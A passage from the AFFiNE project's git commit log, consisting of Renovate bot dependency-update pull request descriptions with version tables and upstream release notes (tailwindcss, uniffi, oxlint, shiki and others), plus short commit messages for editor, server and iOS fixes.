| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`2.3.1` -> `2.3.2`](https://renovatebot.com/diffs/npm/shiki/2.3.1/2.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/2.3.1/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/2.3.1/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.3` -> `4.0.4`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.3/4.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.3/4.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.743.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37430-2025-02-06)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.741.0...v3.743.0)

##### Features

-   **client-s3:** Updated list of the valid AWS Region values for the LocationConstraint parameter for general purpose buckets. ([794f4b5](794f4b5cd8))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/semantic-conventions)</summary>

### [`v1.29.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/blob/HEAD/CHANGELOG.md#1290)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.28.0...v1.29.0)

##### 💥 Breaking Change

-   feat(sdk-metrics): Add support for aggregation cardinality limit with a default limit of 2000. This limit can be customized via views [#&#8203;5182](https://redirect.github.com/open-telemetry/opentelemetry-js/pull/5128)

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.4`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#404---2025-02-06)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.3...v4.0.4)

##### Fixed

-   Fix a crash when setting JS theme values to `null` ([#&#8203;16210](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16210))
-   Ensure escaped underscores in CSS variables in arbitrary values are properly unescaped ([#&#8203;16206](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16206))
-   Ensure that the `containers` JS theme key is added to the `--container-*` namespace ([#&#8203;16169](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16169))
-   Ensure theme `@keyframes` are generated even if an `--animation-*` variable spans multiple lines ([#&#8203;16237](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16237))
-   Vite: Skip parsing stylesheets with the `?commonjs-proxy` flag ([#&#8203;16238](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16238))
-   Fix `order-first` and `order-last` for Firefox ([#&#8203;16266](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16266))
-   Fix support for older instruction sets on Linux x64 builds of the standalone CLI ([#&#8203;16244](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16244))
-   Ensure `NODE_PATH` is respected when resolving JavaScript and CSS files ([#&#8203;16274](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16274))
-   Ensure Node addons are packaged correctly with FreeBSD builds ([#&#8203;16277](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16277))
-   Fix an issue where `@variant` inside a referenced stylesheet could cause a stack overflow ([#&#8203;16300](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16300))

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v34.1.1`](https://redirect.github.com/electron/electron/releases/tag/v34.1.1): electron v34.1.1

[Compare Source](https://redirect.github.com/electron/electron/compare/v34.1.0...v34.1.1)

### Release Notes for v34.1.1

#### Other Changes

-   Backported fix for [`3872580`](https://redirect.github.com/electron/electron/commit/387258077),383070811. [#&#8203;45497](https://redirect.github.com/electron/electron/pull/45497)

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v2.3.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.3.2)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.3.1...v2.3.2)

#####    🚀 Features

-   Update grammars  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(4c9ab)</samp>](https://redirect.github.com/shikijs/shiki/commit/4c9ab999)

#####    🐞 Bug Fixes

-   **monaco**: Handle colors in array  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(e3018)</samp>](https://redirect.github.com/shikijs/shiki/commit/e30181b5)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.3.1...v2.3.2)

</details>

<details>
<summary>mozilla/uniffi-rs (uniffi)</summary>

### [`v0.29.0`](https://redirect.github.com/mozilla/uniffi-rs/blob/HEAD/CHANGELOG.md#v0290-backend-crates-v0290---2025-02-06)

[Compare Source](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0)

##### ⚠️ Breaking Changes ⚠️

We've made a number of breaking changes to fix long standing paper-cuts with UniFFI in multi-crate and procmacro+udl environments.

[See the detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

While **no changes are required to foreign code**, we apologize for the inconvenience!

You are impacted if you use `UniffiCustomTypeConverter` to implement "Custom types",
or use UDL with types from more than one crate.

-   `UniffiCustomTypeConverter` has been removed, you must now use the
    [`custom_type!` macro](https://mozilla.github.io/uniffi-rs/next/types/custom_types.html) instead.

-   The [UDL syntax for external types](https://mozilla.github.io/uniffi-rs/next/udl/external_types.html) has changed.
    `typedef extern MyEnum;` has been replaced
    with `typedef enum MyEnum;`. `[Custom]` and `[External]` are the only supported  attributes for a `typedef`.

-   "remote" types (where UDL can re-export a type defined in
    a non-UniFFI crate - eg, `log::Level`) must now use a
    [`[Remote]` attribute](https://mozilla.github.io/uniffi-rs/next/types/remote_ext_types.html).

-   Various `use_udl_*`/`use_remote_type` etc macros have been removed.

[Detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

-   `uniffi::generate_component_scaffolding` has been removed. It's almost certainly unused as it is
    behind the wrong feature and undocumented. `uniffi::generate_scaffolding` does exacly the same thing and is
    correctly behind the `build` feature.

##### What's new?

-   Kotlin and Swift follow Python: Proc-macros exporting an `impl Trait for Struct` block now has a class inheritance
    hierarcy to reflect that.
    [#&#8203;2297](https://redirect.github.com/mozilla/uniffi-rs/pull/2297), [#&#8203;2363](https://redirect.github.com/mozilla/uniffi-rs/pull/2363)

-   External types work much better, particularly between UDL and proc-macros. (Kotlin external errors do not work - [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392)).

-   Swift interfaces are marked as `Sendable` ([#&#8203;2318](https://redirect.github.com/mozilla/uniffi-rs/pull/2318))

-   Removed the `log` dependency and logging statements about FFI calls.  These were not really useful
    to consumers and could have high overhead when lots of FFI calls are made. Instead, the
    `ffi-trace` feature can be used to get tracing-style printouts about the FFI.

-   External errors work for Swift and Python. Kotlin does not work - see [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392).

-   Added `disable_java_cleaner` option for kotlin to allow for Java 8 compatible code

-   Proc-macros now allow Enums to hold objects ([#&#8203;1372](https://redirect.github.com/mozilla/uniffi-rs/issues/1372))

-   Swift and Kotlin make it possible to opt-out of the runtime checksum integrity tests done as the library is initialized.
    Opting out will shoot yourself in the foot if you mixup your build pipeline in any way, but might speed the initialization.
    (Python apparently hasn't made these checks for some time, so no changes there!)

##### What's changed?

-   Switching jinja template engine from askama to rinja.

-   For `wasm32` build targets, `Future`s do not have to be `Send` ([#&#8203;2418](https://redirect.github.com/mozilla/uniffi-rs/pull/2418)),
    making them compatible with `wasm-bindgen` `Future`s.

##### ⚠️ Breaking Changes for external bindings authors ⚠️

-   Added the `FfiType::MutReference` variant.

-   `Callable` trait has changed, `return_type` and `throws_type` are now references.

-   `Type::External` has been removed. Binding authors must now check the type is local themselves before
    deciding to treat it as a local or external type.

    To get a feel for the impact on the bindings, see where we [first did this for custom types](c5a437e9f3),
    and where we [then stopped using it entirely](df514fd1cc)

[All changes in v0.29.0](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-07 03:02:26 +00:00
forehalo
c673088cc6 feat(nbstore): use polling as ios websocket transport (#10001) 2025-02-07 02:44:52 +00:00
pengx17
61d2cec913 fix(core): remove suspense from image preview (#9981) 2025-02-07 02:30:22 +00:00
fengmk2
1e83a056fc feat(server): add request id on cluster event (#9998) 2025-02-07 02:06:53 +00:00
L-Sun
891d9df0b1 feat(editor): show doc title in page block (#9975)
Close [BS-2392](https://linear.app/affine-design/issue/BS-2392/page-block-需要显示文章title)

### What Changes
- Add `<doc-title>` to edgeless page block (a.k.a the first page visible note block)
- Refactors:
  - Move `<doc-title>` to `@blocksuite/affine-component`, but you can aslo import it from `@blocksuite/preset`
  - Extract `<edgeless-note-mask>` and `<edgeless-note-background>` from `<affine-edgeless-note>` to a seperate file
  - Rewrite styles of `<affine-edgeless-note>` with `@vanilla-extract/css`

https://github.com/user-attachments/assets/a0c03239-803e-4bfa-b30e-33b919213b12
2025-02-06 21:18:28 +00:00
Brooooooklyn
41107eafae feat(server): allow to set default role in page (#9963) 2025-02-06 17:18:50 +00:00
L-Sun
f309f8f3e1 fix(ios): incorrect return of getBlob binding in ios (#9995) 2025-02-06 17:03:51 +00:00
Saul-Mirone
5b750bbba4 feat(editor): support delete in flat block proxy (#9994) 2025-02-06 16:30:06 +00:00
pengx17
86de184593 fix(electron): split view drag indicator tooltip (#9979)
fix PD-2244
2025-02-06 16:14:54 +00:00
forehalo
2ff31c6274 build(component): fix component storybook (#9990) 2025-02-06 15:58:10 +00:00
zzj3720
1652e6df6b fix(editor): some UI bugs of table block (#9987)
close: BS-2507, BS-2508, BS-2511, BS-2519, BS-2523
2025-02-06 15:42:05 +00:00
forehalo
7c7febd495 refactor(server): remove never used column in page permission (#9985) 2025-02-06 10:52:05 +00:00
pengx17
d7da12597a fix(core): use divider component to replace height dividers (#9986) 2025-02-06 10:37:05 +00:00
pengx17
5066f50c4f fix(editor): should focus the textarea will clicking the chat input box (#9983)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/0fc4ec8d-85ba-486b-9d1e-854eff3c0dfc.png)

Clicking outside of the textarea should also focuses the textarea
2025-02-06 10:20:05 +00:00
pengx17
40305db838 fix(electron): webpack dev server reloading issue (#9978) 2025-02-06 10:05:08 +00:00
forehalo
e9afbbcdc5 fix(server): cannot revalidate licenses (#9982) 2025-02-06 09:48:02 +00:00
renovate
0aa9602d26 chore: bump up oxlint version to v0.15.10 (#9977)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.9` -> `0.15.10`](https://renovatebot.com/diffs/npm/oxlint/0.15.9/0.15.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.9/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.9/0.15.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.10`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.10): oxlint v0.15.10

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.9...oxlint_v0.15.10)

#### \[0.15.10] - 2025-02-06

-   [`b7ff7e1`](https://redirect.github.com/oxc-project/oxc/commit/b7ff7e1) span: \[**BREAKING**] Export `ContentEq` trait from root of `oxc_span` crate ([#&#8203;8869](https://redirect.github.com/oxc-project/oxc/issues/8869)) (overlookmotel)

##### Features

-   [`d6d80f7`](https://redirect.github.com/oxc-project/oxc/commit/d6d80f7) linter: Add suggestion fixer for `eslint/no-iterator` ([#&#8203;8894](https://redirect.github.com/oxc-project/oxc/issues/8894)) (dalaoshu)
-   [`7e8568b`](https://redirect.github.com/oxc-project/oxc/commit/7e8568b) linter: Junit reporter ([#&#8203;8756](https://redirect.github.com/oxc-project/oxc/issues/8756)) (Tapan Prakash)
-   [`f4662a9`](https://redirect.github.com/oxc-project/oxc/commit/f4662a9) oxc_language_server: Implement `oxc.fixAll` workspace command ([#&#8203;8858](https://redirect.github.com/oxc-project/oxc/issues/8858)) (Marek Vospel)

##### Bug Fixes

-   [`baf3e4e`](https://redirect.github.com/oxc-project/oxc/commit/baf3e4e) linter: Correctly replace rule severity with duplicate rule name configurations ([#&#8203;8840](https://redirect.github.com/oxc-project/oxc/issues/8840)) (dalaoshu)

##### Performance

-   [`8a4988d`](https://redirect.github.com/oxc-project/oxc/commit/8a4988d) linter: Use parallel iterator directly instead of iter and parallel bridge ([#&#8203;8831](https://redirect.github.com/oxc-project/oxc/issues/8831)) (Cam McHenry)

##### Refactor

-   [`bb9d763`](https://redirect.github.com/oxc-project/oxc/commit/bb9d763) linter: Remove usage of `url` crate ([#&#8203;8833](https://redirect.github.com/oxc-project/oxc/issues/8833)) (camchenry)
-   [`4fcf719`](https://redirect.github.com/oxc-project/oxc/commit/4fcf719) linter: Replace MIME guessing with extension check ([#&#8203;8832](https://redirect.github.com/oxc-project/oxc/issues/8832)) (camchenry)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 07:15:36 +00:00
forehalo
d873a78534 feat(server): align pro plan for free in selfhost (#9973)
close AF-2099
2025-02-06 05:25:06 +00:00
renovate
f00fb327e2 chore: bump up all non-major dependencies (#9810)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`^0.9.0` -> `^0.10.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.9.1/0.10.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.9.1/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.9.1/0.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.3` -> `5.0.4`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.3/5.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.3/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.3/5.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.68` -> `3.0.0-alpha.70`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@shoelace-style/shoelace](https://redirect.github.com/shoelace-style/shoelace) | [`2.19.1` -> `2.20.0`](https://renovatebot.com/diffs/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@shoelace-style%2fshoelace/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@shoelace-style%2fshoelace/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.4` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.4/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | `from: "1.16.0"` -> `from: "1.17.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [gradle](https://gradle.org) ([source](https://redirect.github.com/gradle/gradle)) | `8.12` -> `8.12.1` | [![age](https://developer.mend.io/api/mc/badges/age/gradle-version/gradle/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/gradle-version/gradle/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/gradle-version/gradle/8.12/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/gradle-version/gradle/8.12/8.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
